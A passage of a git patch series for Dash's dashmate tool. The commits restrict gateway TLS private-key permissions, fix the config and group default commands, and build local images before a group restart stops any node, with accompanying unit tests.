dashpay/drive:4: no space left on device'), + ); + + await expect(restartNodeTask(config).run({})) + .to.be.rejectedWith('no space left on device'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startNodeTask).to.have.not.been.called(); + }); + + it('should make sure all images are present before stopping the node', async () => { + await restartNodeTask(config).run({}); + + expect(dockerCompose.pullMissingImages).to.have.been.calledOnce(); + expect(dockerCompose.pullMissingImages.firstCall.args[0]).to.equal(config); + expect(dockerCompose.pullMissingImages.firstCall.args[1].profiles).to.deep.equal([]); + expect(dockerCompose.pullMissingImages).to.have.been.calledBefore(stopNodeTask); + expect(stopNodeTask).to.have.been.calledOnceWithExactly(config); + expect(startNodeTask).to.have.been.calledOnceWithExactly(config); + }); + + it('should not pull images of services a platform only restart leaves alone', async () => { + await restartNodeTask(config).run({ platformOnly: true }); + + expect(dockerCompose.pullMissingImages.firstCall.args[1].profiles) + .to.deep.equal(['platform', 'platform-dapi-rs']); + }); + + it('should report pull progress while the node is still running', async () => { + dockerCompose.pullMissingImages.callsFake(async (pullConfig, { onProgress }) => { + onProgress('dashpay/drive:4: Downloading [====> ] 12MB/45MB'); + + return []; + }); + + const tasks = restartNodeTask(config); + + await tasks.run({}); + + const [pullTask] = tasks.tasks.filter((task) => task.title === 'Pull missing images'); + + expect(pullTask.output).to.equal('dashpay/drive:4: Downloading [====> ] 12MB/45MB'); + }); +}); From d9bd7c3958d5cf705647b4158240add9857c186d Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Mon, 31 Aug 2026 19:45:53 +0700 Subject: [PATCH 3/8] fix(dashmate): restrict a gateway TLS private key an older version left exposed Keys written before Dashmate set a mode are group- and world-readable, and both certificate writers now create and repair their own. Neither covers a key that is never rewritten: nothing inspects the mode of an SSL file, and on the ZeroSSL path a renewal reuses the existing key and skips the write entirely, so a deployed host stays exposed indefinitely. Permissions are therefore also restricted when starting the node, which is the one action every operator performs regardless of certificate provider, and doctor reports a key other users can read so it is visible in the meantime. Only the group and world bits are dropped, so an owner that hardened the key further keeps what it chose. Neither creates the file if it is absent: an empty key would convince the certificate validators one exists. The two historical migrations that copy the key restrict it as well, since copyFileSync reproduces the source mode and would otherwise carry the old permissions forward. Also fixes config and group default printing the current name. An args default of null is never applied by oclif's parser, so the argument stayed undefined and both commands failed instead of reporting, which matters because a planned feature treats them as read-only. Test would have caught this in CI: 8 specs fail before the fix. Co-Authored-By: Claude Opus 5 (1M context) --- .../configs/getConfigFileMigrationsFactory.js | 14 +++ .../dashmate/src/commands/config/default.js | 4 +- .../dashmate/src/commands/group/default.js | 4 +- .../doctor/analyse/analyseConfigFactory.js | 16 +++ .../tasks/doctor/collectSamplesTaskFactory.js | 20 ++++ .../src/listr/tasks/startNodeTaskFactory.js | 25 ++++ .../test/unit/commands/config/default.spec.js | 80 +++++++++++++ .../test/unit/commands/group/default.spec.js | 90 ++++++++++++++ .../migrateConfigFileFactory.spec.js | 90 +++++++++++++- .../analyse/analyseConfigFactory.spec.js | 35 ++++++ .../doctor/collectSamplesTaskFactory.spec.js | 42 ++++++- .../listr/tasks/startNodeTaskFactory.spec.js | 113 ++++++++++++++++++ 12 files changed, 527 insertions(+), 6 deletions(-) create mode 100644 packages/dashmate/test/unit/commands/config/default.spec.js create mode 100644 packages/dashmate/test/unit/commands/group/default.spec.js create mode 100644 packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js diff --git a/packages/dashmate/configs/getConfigFileMigrationsFactory.js b/packages/dashmate/configs/getConfigFileMigrationsFactory.js index 077ebae1225..506afe73521 100644 --- a/packages/dashmate/configs/getConfigFileMigrationsFactory.js +++ b/packages/dashmate/configs/getConfigFileMigrationsFactory.js @@ -331,6 +331,13 @@ export default function getConfigFileMigrationsFactory(homeDir, defaultConfigs) if (fs.existsSync(oldFilePath)) { fs.mkdirSync(path.dirname(newFilePath), { recursive: true }); fs.copyFileSync(oldFilePath, newFilePath); + + // A copy keeps the permissions of the source, and the private key + // must not be readable by other users on the host + if (filename === 'private.key') { + fs.chmodSync(newFilePath, 0o600); + } + fs.rmSync(oldFilePath, { recursive: true }); } } @@ -712,6 +719,13 @@ export default function getConfigFileMigrationsFactory(homeDir, defaultConfigs) if (fs.existsSync(oldFilePath)) { fs.mkdirSync(path.dirname(newFilePath), { recursive: true }); fs.copyFileSync(oldFilePath, newFilePath); + + // A copy keeps the permissions of the source, and the private key + // must not be readable by other users on the host + if (filename === 'private.key') { + fs.chmodSync(newFilePath, 0o600); + } + fs.rmSync(oldFilePath, { recursive: true }); } } diff --git a/packages/dashmate/src/commands/config/default.js b/packages/dashmate/src/commands/config/default.js index d4ba6110c8f..e78a0274b0a 100644 --- a/packages/dashmate/src/commands/config/default.js +++ b/packages/dashmate/src/commands/config/default.js @@ -13,7 +13,6 @@ Shows default config name or sets another config as default name: 'config', required: false, description: 'config name', - default: null, // only allow input to be from a discrete set }, ), }; @@ -32,7 +31,8 @@ Shows default config name or sets another config as default configFile, configFileRepository, ) { - if (configName === null) { + // The argument is omitted when only the current default config name is requested + if (configName === undefined) { // eslint-disable-next-line no-console console.log(configFile.getDefaultConfigName()); } else { diff --git a/packages/dashmate/src/commands/group/default.js b/packages/dashmate/src/commands/group/default.js index 141ea558e66..b1edf55ef8f 100644 --- a/packages/dashmate/src/commands/group/default.js +++ b/packages/dashmate/src/commands/group/default.js @@ -13,7 +13,6 @@ Shows default group name or sets another group as default name: 'group', required: false, description: 'group name', - default: null, // only allow input to be from a discrete set }, ), }; @@ -32,7 +31,8 @@ Shows default group name or sets another group as default configFile, configFileRepository, ) { - if (groupName === null) { + // The argument is omitted when only the current default group name is requested + if (groupName === undefined) { // eslint-disable-next-line no-console console.log(configFile.getDefaultGroupName()); } else { diff --git a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js index 2219c23127a..57f35683eca 100644 --- a/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js +++ b/packages/dashmate/src/doctor/analyse/analyseConfigFactory.js @@ -288,6 +288,22 @@ a working certificate.`, } } + // Gateway TLS private key permissions + const sslPrivateKeyMode = samples.getServiceInfo('gateway', 'sslPrivateKeyMode'); + + // eslint-disable-next-line no-bitwise + if (typeof sslPrivateKeyMode === 'number' && (sslPrivateKeyMode & 0o077) !== 0) { + const problem = new Problem( + `Gateway TLS private key is accessible to other users on this host (mode ${sslPrivateKeyMode.toString(8)}, expected 600)`, + chalk`Please make the private key accessible only to its owner: + {bold.cyanBright chmod 600 ~/.dashmate/${config.getName()}/platform/gateway/ssl/private.key} +Use your dashmate home directory if it is not the default one`, + SEVERITY.HIGH, + ); + + problems.push(problem); + } + if (samples?.getDashmateConfig()?.get('network') !== NETWORK_LOCAL) { // Core P2P port const coreP2pPort = samples.getServiceInfo('core', 'p2pPort'); diff --git a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js index 22cb3855845..bc93cf59f18 100644 --- a/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/doctor/collectSamplesTaskFactory.js @@ -141,6 +141,26 @@ export default function collectSamplesTaskFactory( enabled: () => config.get('platform.enable'), title: 'Gateway SSL certificates', task: async () => { + // The private key permissions are collected for every provider, + // since a key readable by other users is a problem regardless + // of how it was obtained + const privateKeyFilePath = homeDir.joinPath( + config.getName(), + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + if (fs.existsSync(privateKeyFilePath)) { + ctx.samples.setServiceInfo( + 'gateway', + 'sslPrivateKeyMode', + // eslint-disable-next-line no-bitwise + fs.statSync(privateKeyFilePath).mode & 0o777, + ); + } + if (!config.get('platform.gateway.ssl.enabled')) { ctx.samples.setServiceInfo('gateway', 'ssl', { error: 'disabled', diff --git a/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js b/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js index a0b618272a4..673f2790fd0 100644 --- a/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/startNodeTaskFactory.js @@ -1,3 +1,4 @@ +import fs from 'fs'; import { Listr } from 'listr2'; import path from 'path'; import { Observable } from 'rxjs'; @@ -84,6 +85,30 @@ export default function startNodeTaskFactory( ensureFileMountExists(hostAccessLogPath, 0o666); } + + // The gateway TLS private key must not be readable by other users on the host. + // Keys obtained before this was enforced keep their original permissions until + // they are replaced, so they are restricted here on every start + const privateKeyFilePath = homeDir.joinPath( + config.getName(), + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + if (fs.existsSync(privateKeyFilePath)) { + try { + // Only the group and world bits are dropped, so an owner that + // hardened the key further keeps what it chose + // eslint-disable-next-line no-bitwise + fs.chmodSync(privateKeyFilePath, fs.statSync(privateKeyFilePath).mode & 0o700); + } catch (e) { + // Failing to restrict the key must not prevent the node from starting + // eslint-disable-next-line no-console + console.warn(`Can't restrict access to ${privateKeyFilePath}: ${e.message}`); + } + } } return new Listr([ diff --git a/packages/dashmate/test/unit/commands/config/default.spec.js b/packages/dashmate/test/unit/commands/config/default.spec.js new file mode 100644 index 00000000000..12713c82629 --- /dev/null +++ b/packages/dashmate/test/unit/commands/config/default.spec.js @@ -0,0 +1,80 @@ +import { Parser } from '@oclif/core'; +import ConfigDefaultCommand from '../../../../src/commands/config/default.js'; +import ConfigFile from '../../../../src/config/configFile/ConfigFile.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('Config default command', () => { + const flags = {}; + + let configFile; + let baseConfigName; + let consoleLog; + let configFileRepository; + + /** + * Parse the command line the same way oclif does at runtime, so the test + * exercises the command's own argument definitions and not a hand-made object. + * + * @param {string[]} argv + * @returns {Promise} + */ + async function parseArgs(argv) { + const { args } = await Parser.parse(argv, { args: ConfigDefaultCommand.args }); + + return args; + } + + beforeEach(async function beforeEach() { + const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + const baseConfig = getBaseConfig(); + + baseConfigName = baseConfig.getName(); + + configFile = new ConfigFile([baseConfig], '1.0.0', null, baseConfigName, null); + + consoleLog = this.sinon.stub(console, 'log'); + + // The command reads, changes and saves in one locked step, so the double + // hands the mutation the config file the assertions look at + configFileRepository = { + update: this.sinon.stub().callsFake((mutate) => mutate(configFile)), + }; + }); + + it('should print default config name if config name is not specified', async function it() { + const command = new ConfigDefaultCommand(); + + const setDefaultConfigName = this.sinon.spy(configFile, 'setDefaultConfigName'); + + await command.runWithDependencies( + await parseArgs([]), + flags, + configFile, + configFileRepository, + ); + + expect(consoleLog).to.be.calledOnceWith(baseConfigName); + + // Reading the default config name must not modify the config file + expect(setDefaultConfigName).to.not.be.called(); + expect(configFileRepository.update).to.not.be.called(); + expect(configFile.getDefaultConfigName()).to.equal(baseConfigName); + }); + + it('should set specified config as default', async () => { + const command = new ConfigDefaultCommand(); + + configFile.setDefaultConfigName(null); + + await command.runWithDependencies( + await parseArgs([baseConfigName]), + flags, + configFile, + configFileRepository, + ); + + expect(configFile.getDefaultConfigName()).to.equal(baseConfigName); + expect(consoleLog).to.be.calledOnceWith(`${baseConfigName} config set as default`); + }); +}); diff --git a/packages/dashmate/test/unit/commands/group/default.spec.js b/packages/dashmate/test/unit/commands/group/default.spec.js new file mode 100644 index 00000000000..7daf5f9b3f2 --- /dev/null +++ b/packages/dashmate/test/unit/commands/group/default.spec.js @@ -0,0 +1,90 @@ +import { Parser } from '@oclif/core'; +import GroupDefaultCommand from '../../../../src/commands/group/default.js'; +import ConfigFile from '../../../../src/config/configFile/ConfigFile.js'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFactory.js'; + +describe('Group default command', () => { + const flags = {}; + const groupName = 'local'; + + let consoleLog; + let configFile; + let configFileRepository; + + /** + * Parse the command line the same way oclif does at runtime, so the test + * exercises the command's own argument definitions and not a hand-made object. + * + * @param {string[]} argv + * @returns {Promise} + */ + async function parseArgs(argv) { + const { args } = await Parser.parse(argv, { args: GroupDefaultCommand.args }); + + return args; + } + + /** + * @param {string|null} defaultGroupName + * @returns {ConfigFile} + */ + function createConfigFile(defaultGroupName) { + const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + const baseConfig = getBaseConfig(); + + baseConfig.set('group', groupName); + + configFile = new ConfigFile([baseConfig], '1.0.0', null, null, defaultGroupName); + + return configFile; + } + + beforeEach(function beforeEach() { + consoleLog = this.sinon.stub(console, 'log'); + + // The command reads, changes and saves in one locked step, so the double + // hands the mutation the config file the assertions look at + configFileRepository = { + update: this.sinon.stub().callsFake((mutate) => mutate(configFile)), + }; + }); + + it('should print default group name if group name is not specified', async function it() { + createConfigFile(groupName); + + const command = new GroupDefaultCommand(); + + const setDefaultGroupName = this.sinon.spy(configFile, 'setDefaultGroupName'); + + await command.runWithDependencies( + await parseArgs([]), + flags, + configFile, + configFileRepository, + ); + + expect(consoleLog).to.be.calledOnceWith(groupName); + + // Reading the default group name must not modify the config file + expect(setDefaultGroupName).to.not.be.called(); + expect(configFileRepository.update).to.not.be.called(); + expect(configFile.getDefaultGroupName()).to.equal(groupName); + }); + + it('should set specified group as default', async () => { + createConfigFile(null); + + const command = new GroupDefaultCommand(); + + await command.runWithDependencies( + await parseArgs([groupName]), + flags, + configFile, + configFileRepository, + ); + + expect(configFile.getDefaultGroupName()).to.equal(groupName); + expect(consoleLog).to.be.calledOnceWith(`${groupName} group set as default`); + }); +}); diff --git a/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js b/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js index 5fc22d104e0..91fc3c1c7ee 100644 --- a/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js +++ b/packages/dashmate/test/unit/config/configFile/migrateConfigFileFactory.spec.js @@ -12,13 +12,14 @@ describe('migrateConfigFileFactory', () => { let container; let createConfigFile; let migrateConfigFile; + let homeDir; beforeEach(async () => { container = await createDIContainer(); migrateConfigFile = container.resolve('migrateConfigFile'); createConfigFile = container.resolve('createConfigFile'); - const homeDir = container.resolve('homeDir'); + homeDir = container.resolve('homeDir'); homeDir.change(new HomeDir('/Users/dashmate/.dashmate', true)); mockConfigFileData = getConfigFileDataV0250(); @@ -398,4 +399,91 @@ describe('migrateConfigFileFactory', () => { expect(again.configFormatVersion).to.equal(upgradedVersion); }); + + describe('SSL private key', () => { + // The migrations copy the certificate files to their new location, and a copy + // keeps the permissions of the source. Keys created before dashmate restricted + // them are world-readable and must not be carried over that way. + let tempHomeDir; + + beforeEach(() => { + tempHomeDir = HomeDir.createTemp(); + + homeDir.change(tempHomeDir); + }); + + afterEach(() => { + tempHomeDir.remove(); + }); + + /** + * @param {string} filePath + */ + function createWorldReadablePrivateKey(filePath) { + fs.mkdirSync(path.dirname(filePath), { recursive: true }); + fs.writeFileSync(filePath, 'PRIVATE KEY', 'utf8'); + fs.chmodSync(filePath, 0o644); + } + + /** + * @param {string} filePath + * @returns {number} + */ + function getPermissions(filePath) { + // eslint-disable-next-line no-bitwise + return fs.statSync(filePath).mode & 0o777; + } + + it('should restrict the private key moved out of the legacy ssl directory', () => { + createWorldReadablePrivateKey(tempHomeDir.joinPath('ssl', 'testnet', 'private.key')); + + const getConfigFileMigrations = container.resolve('getConfigFileMigrations'); + + getConfigFileMigrations()['0.25.7']({ + configs: { + testnet: { network: 'testnet' }, + }, + }); + + const newFilePath = tempHomeDir.joinPath( + 'testnet', + 'platform', + 'dapi', + 'envoy', + 'ssl', + 'private.key', + ); + + expect(getPermissions(newFilePath)).to.equal(0o600); + }); + + it('should restrict the private key moved from envoy to the gateway directory', () => { + createWorldReadablePrivateKey(tempHomeDir.joinPath( + 'testnet', + 'platform', + 'dapi', + 'envoy', + 'ssl', + 'private.key', + )); + + const { version } = JSON.parse(fs.readFileSync(path.join(PACKAGE_ROOT_DIR, 'package.json'), 'utf8')); + + migrateConfigFile( + mockConfigFileData, + mockConfigFileData.configFormatVersion, + version, + ); + + const newFilePath = tempHomeDir.joinPath( + 'testnet', + 'platform', + 'gateway', + 'ssl', + 'private.key', + ); + + expect(getPermissions(newFilePath)).to.equal(0o600); + }); + }); }); diff --git a/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js index 637fab2afb6..01de9f98a9d 100644 --- a/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js +++ b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js @@ -310,4 +310,39 @@ describe('analyseConfigFactory', () => { expect(problem.getSolution()).to.contain('ssl obtain'); }); }); + + describe('gateway TLS private key permissions', () => { + it('should report a problem when the private key is readable by other users', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o644); + + const problem = analyseConfig(samples) + .find((item) => item.getDescription().includes('private key')); + + expect(problem).to.exist(); + expect(problem.getDescription()).to.include('600'); + expect(problem.getSolution()).to.include('chmod 600'); + expect(problem.getSeverity()).to.equal(SEVERITY.HIGH); + }); + + it('should report a problem when the private key is readable by the group', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o640); + + expect(analyseConfig(samples) + .find((item) => item.getDescription().includes('private key'))).to.exist(); + }); + + it('should report nothing when the private key is accessible to its owner only', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o600); + + expect(analyseConfig(samples) + .find((item) => item.getDescription().includes('private key'))).to.be.undefined(); + }); + + // Doctor analyses archives collected by an older dashmate, which recorded + // no mode at all, and a node whose key has not been obtained yet has none + it('should report nothing when no private key mode was collected', () => { + expect(analyseConfig(samples) + .find((item) => item.getDescription().includes('private key'))).to.be.undefined(); + }); + }); }); diff --git a/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js index 59f19b102f2..3b59c8a10fe 100644 --- a/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js +++ b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js @@ -87,7 +87,12 @@ describe('collectSamplesTaskFactory', () => { fs.mkdirSync(sslDir, { recursive: true }); fs.writeFileSync(path.join(sslDir, 'csr.pem'), 'csr', 'utf8'); - fs.writeFileSync(path.join(sslDir, 'private.key'), 'private key', 'utf8'); + // Dashmate writes the key accessible to its owner only, and doctor reports + // one that is not - so the fixture has to be what a healthy node has + fs.writeFileSync(path.join(sslDir, 'private.key'), 'private key', { + encoding: 'utf8', + mode: 0o600, + }); fs.writeFileSync(path.join(sslDir, 'bundle.crt'), 'bundle', 'utf8'); getCertificate = this.sinon.stub(); @@ -357,4 +362,39 @@ describe('collectSamplesTaskFactory', () => { expect(samples.getServiceInfo('gateway', 'metrics')).to.equal('metrics_sample 1'); }); + + describe('gateway TLS private key permissions', () => { + /** + * @return {string} + */ + function keyFilePath() { + return homeDir.joinPath(config.getName(), 'platform', 'gateway', 'ssl', 'private.key'); + } + + beforeEach(() => { + getCertificate.resolves(new Certificate({ + id: 'certificate-id', + common_name: EXTERNAL_IP, + status: 'issued', + created: toZeroSslDate(daysFromNow(-1)), + expires: toZeroSslDate(daysFromNow(89)), + })); + }); + + it('should collect the mode of the gateway TLS private key', async () => { + fs.chmodSync(keyFilePath(), 0o644); + + await collectSamples(); + + expect(samples.getServiceInfo('gateway', 'sslPrivateKeyMode')).to.equal(0o644); + }); + + it('should collect nothing when there is no private key', async () => { + fs.rmSync(keyFilePath()); + + await collectSamples(); + + expect(samples.getServiceInfo('gateway', 'sslPrivateKeyMode')).to.be.undefined(); + }); + }); }); diff --git a/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js new file mode 100644 index 00000000000..4d9756487bf --- /dev/null +++ b/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js @@ -0,0 +1,113 @@ +import fs from 'fs'; +import path from 'path'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import startNodeTaskFactory from '../../../../src/listr/tasks/startNodeTaskFactory.js'; + +describe('startNodeTaskFactory', () => { + const configName = 'local'; + + let homeDir; + let config; + let keyFilePath; + let startNodeTask; + + beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + + const options = { + 'core.miner.enable': false, + network: 'testnet', + 'core.log.filePath': null, + 'platform.enable': true, + 'platform.drive.abci.logs': {}, + 'platform.gateway.log.accessLogs': [], + 'platform.drive.tenderdash.log.path': null, + 'platform.dapi.rsDapi.logs.accessLogPath': null, + }; + + config = { + getName: this.sinon.stub().returns(configName), + get: this.sinon.stub().callsFake((option) => options[option]), + }; + + keyFilePath = homeDir.joinPath(configName, 'platform', 'gateway', 'ssl', 'private.key'); + + startNodeTask = startNodeTaskFactory( + {}, // dockerCompose + this.sinon.stub(), // waitForCorePeersConnected + this.sinon.stub(), // waitForMasternodesSync + this.sinon.stub(), // createRpcClient + this.sinon.stub(), // buildServicesTask + this.sinon.stub(), // getConnectionHost + this.sinon.stub(), // ensureFileMountExists + homeDir, + this.sinon.stub().returns([]), // getConfigProfiles + ); + }); + + afterEach(() => { + homeDir.remove(); + }); + + /** + * @returns {number} + */ + function getPermissions() { + // eslint-disable-next-line no-bitwise + return fs.statSync(keyFilePath).mode & 0o777; + } + + /** + * @param {number} mode + */ + function createPrivateKeyFile(mode) { + fs.mkdirSync(path.dirname(keyFilePath), { recursive: true }); + fs.writeFileSync(keyFilePath, 'PRIVATE KEY', 'utf8'); + fs.chmodSync(keyFilePath, mode); + } + + it('should restrict access to a world-readable gateway TLS private key', () => { + createPrivateKeyFile(0o644); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o600); + }); + + it('should keep an already restricted private key untouched', () => { + createPrivateKeyFile(0o600); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o600); + }); + + // The same rule the certificate writers follow: only the group and world bits + // are dropped, so an owner who hardened the key further is not undone by a start + it('should keep a private key mode stricter than Dashmate would choose', () => { + createPrivateKeyFile(0o400); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o400); + }); + + it('should not create a private key file if there is none', () => { + startNodeTask(config); + + // An empty key file would be indistinguishable from a real one for the + // SSL validation, which decides whether a new certificate has to be obtained + expect(fs.existsSync(keyFilePath)).to.be.false(); + }); + + it('should warn and start anyway if the private key permissions can not be restricted', function it() { + createPrivateKeyFile(0o644); + + const consoleWarn = this.sinon.stub(console, 'warn'); + this.sinon.stub(fs, 'chmodSync').throws(new Error('EPERM: operation not permitted')); + + expect(() => startNodeTask(config)).to.not.throw(); + + expect(consoleWarn).to.be.calledOnce(); + }); +}); From 5b6cf988bcc12d0d56818e8c120fafcf7bd4f320 Mon Sep 17 00:00:00 2001 From: Ivan Shumkov Date: Mon, 31 Aug 2026 19:48:50 +0700 Subject: [PATCH 4/8] fix(dashmate): build a group's local images before it stops anything Group restart confirms every node's images are present before the first node is stopped, but the confirmation is a pull, and a pull deliberately skips services built from local sources. Those were built by the group start instead, which runs once every node is already down - so a missing base image or a compile error still left the whole group stopped, which is the outage the pre-stop check exists to prevent. The build now runs before the pull, and the group start is told the images are already there so a restart does not pay for the build twice. Test would have caught this in CI: 2 of the 4 new specs fail when the build is left to the group start. Co-Authored-By: Claude Opus 5 (1M context) --- .../dashmate/src/commands/group/restart.js | 21 ++++++ .../listr/tasks/startGroupNodesTaskFactory.js | 4 +- .../test/unit/commands/group/restart.spec.js | 67 +++++++++++++++++++ .../tasks/startGroupNodesTaskFactory.spec.js | 39 +++++++++++ 4 files changed, 130 insertions(+), 1 deletion(-) diff --git a/packages/dashmate/src/commands/group/restart.js b/packages/dashmate/src/commands/group/restart.js index cd5f27f7286..cc2c166ff49 100644 --- a/packages/dashmate/src/commands/group/restart.js +++ b/packages/dashmate/src/commands/group/restart.js @@ -1,6 +1,7 @@ import { Listr } from 'listr2'; import GroupBaseCommand from '../../oclif/command/GroupBaseCommand.js'; import MuteOneLineError from '../../oclif/errors/MuteOneLineError.js'; +import isServiceBuildRequired from '../../util/isServiceBuildRequired.js'; export default class GroupRestartCommand extends GroupBaseCommand { static description = 'Restart group nodes'; @@ -20,6 +21,7 @@ export default class GroupRestartCommand extends GroupBaseCommand { * @param {DockerCompose} dockerCompose * @param {stopNodeTask} stopNodeTask * @param {startGroupNodesTask} startGroupNodesTask + * @param {buildServicesTask} buildServicesTask * @param {Config[]} configGroup * @return {Promise} */ @@ -32,15 +34,34 @@ export default class GroupRestartCommand extends GroupBaseCommand { dockerCompose, stopNodeTask, startGroupNodesTask, + buildServicesTask, configGroup, ) { const groupName = configGroup[0].get('group'); + // The whole group shares one set of locally built images, so one config + // describes the build for all of them + const buildConfig = configGroup.find(isServiceBuildRequired); + const tasks = new Listr( { title: `Restart ${groupName} nodes`, task: async () => ( new Listr([ + { + // An image built from local sources is in no registry, so the + // pull below cannot confirm it. Building before the group is + // stopped is what keeps a build failure from leaving it down + enabled: () => Boolean(buildConfig), + title: 'Build services', + task: (ctx) => { + // The group start builds the same images, and would otherwise + // repeat the whole build on every restart + ctx.skipBuildServices = true; + + return buildServicesTask(buildConfig); + }, + }, { // Every node's images must be fetched before the first node is // stopped, otherwise a failed pull leaves the group stopped diff --git a/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js b/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js index 43bce26bb6a..6c5e5b59d3a 100644 --- a/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js +++ b/packages/dashmate/src/listr/tasks/startGroupNodesTaskFactory.js @@ -55,7 +55,9 @@ export default function startGroupNodesTaskFactory( return new Listr([ { - enabled: () => platformBuildConfig, + // A caller that has already built the images - restart builds them + // before it stops anything - says so, and the build is not repeated + enabled: (ctx) => Boolean(platformBuildConfig) && !ctx.skipBuildServices, task: () => buildServicesTask(platformBuildConfig), }, { diff --git a/packages/dashmate/test/unit/commands/group/restart.spec.js b/packages/dashmate/test/unit/commands/group/restart.spec.js index c06c1ef483d..5c41f950734 100644 --- a/packages/dashmate/test/unit/commands/group/restart.spec.js +++ b/packages/dashmate/test/unit/commands/group/restart.spec.js @@ -1,3 +1,4 @@ +import { Listr } from 'listr2'; import GroupRestartCommand from '../../../../src/commands/group/restart.js'; import getConfigMock from '../../../../src/test/mock/getConfigMock.js'; @@ -6,6 +7,7 @@ describe('Group restart command', () => { let dockerCompose; let stopNodeTask; let startGroupNodesTask; + let buildServicesTask; let command; beforeEach(function it() { @@ -21,6 +23,7 @@ describe('Group restart command', () => { stopNodeTask = this.sinon.stub().resolves(); startGroupNodesTask = this.sinon.stub().resolves(); + buildServicesTask = this.sinon.stub().resolves(); command = new GroupRestartCommand(); }); @@ -35,10 +38,22 @@ describe('Group restart command', () => { dockerCompose, stopNodeTask, startGroupNodesTask, + buildServicesTask, configGroup, ); } + /** + * Ask one node of the group to build Drive from local sources, the way a + * development group is configured + * + * @param {Config} config + */ + function buildDriveFromSources(config) { + config.get.withArgs('platform.enable').returns(true); + config.get.withArgs('platform.drive.abci.docker.build.enabled').returns(true); + } + it('should not stop any node when a required image can not be pulled', async () => { dockerCompose.pullMissingImages .withArgs(configGroup[1]) @@ -63,4 +78,56 @@ describe('Group restart command', () => { expect(stopNodeTask).to.have.been.calledTwice(); expect(startGroupNodesTask).to.have.been.calledOnce(); }); + + // An image built from local sources is in no registry, so pulling cannot + // confirm it. Leaving the build to the group start runs it after every node + // has been stopped, which is the outage this command exists to avoid. + it('should build local images before stopping the first node', async () => { + const [buildConfig] = configGroup; + + buildDriveFromSources(buildConfig); + + await run(); + + expect(buildServicesTask).to.have.been.calledOnceWith(buildConfig); + expect(buildServicesTask).to.have.been.calledBefore(stopNodeTask); + }); + + it('should not stop any node when a local image can not be built', async () => { + buildDriveFromSources(configGroup[0]); + + buildServicesTask.rejects(new Error('failed to solve: process did not complete')); + + const error = await run().then(() => null, (e) => e); + + expect(error, 'restart must fail instead of stopping the group').to.not.equal(null); + expect(error.getError().message).to.include('failed to solve'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startGroupNodesTask).to.have.not.been.called(); + }); + + // The group start builds the same images itself, and a second build would + // make every restart of a development group pay for the whole build twice + it('should tell the group start the images are already built', async function it() { + buildDriveFromSources(configGroup[0]); + + let observedSkipBuildServices; + + startGroupNodesTask = this.sinon.stub().callsFake(() => new Listr([{ + task: (ctx) => { + observedSkipBuildServices = ctx.skipBuildServices; + }, + }])); + + await run(); + + expect(observedSkipBuildServices).to.be.true(); + }); + + it('should not build anything for a group that uses released images', async () => { + await run(); + + expect(buildServicesTask).to.have.not.been.called(); + }); }); diff --git a/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js index e83868ae9e0..04a70263589 100644 --- a/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js +++ b/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js @@ -189,4 +189,43 @@ describe('startGroupNodesTaskFactory', () => { expect(dependencies.waitForNodesToHaveTheSameHeight).to.not.have.been.called(); expect(dependencies.dockerCompose.execCommand).to.not.have.been.called(); }); + + describe('building services from local sources', () => { + /** + * @param {Object} sinon + * @return {Object} + */ + function createBuildingConfig(sinon) { + const config = createConfig(sinon, 'local_seed', 19998, 'local'); + + config.get.withArgs('platform.enable').returns(true); + config.get.withArgs('platform.drive.abci.docker.build.enabled').returns(true); + + return config; + } + 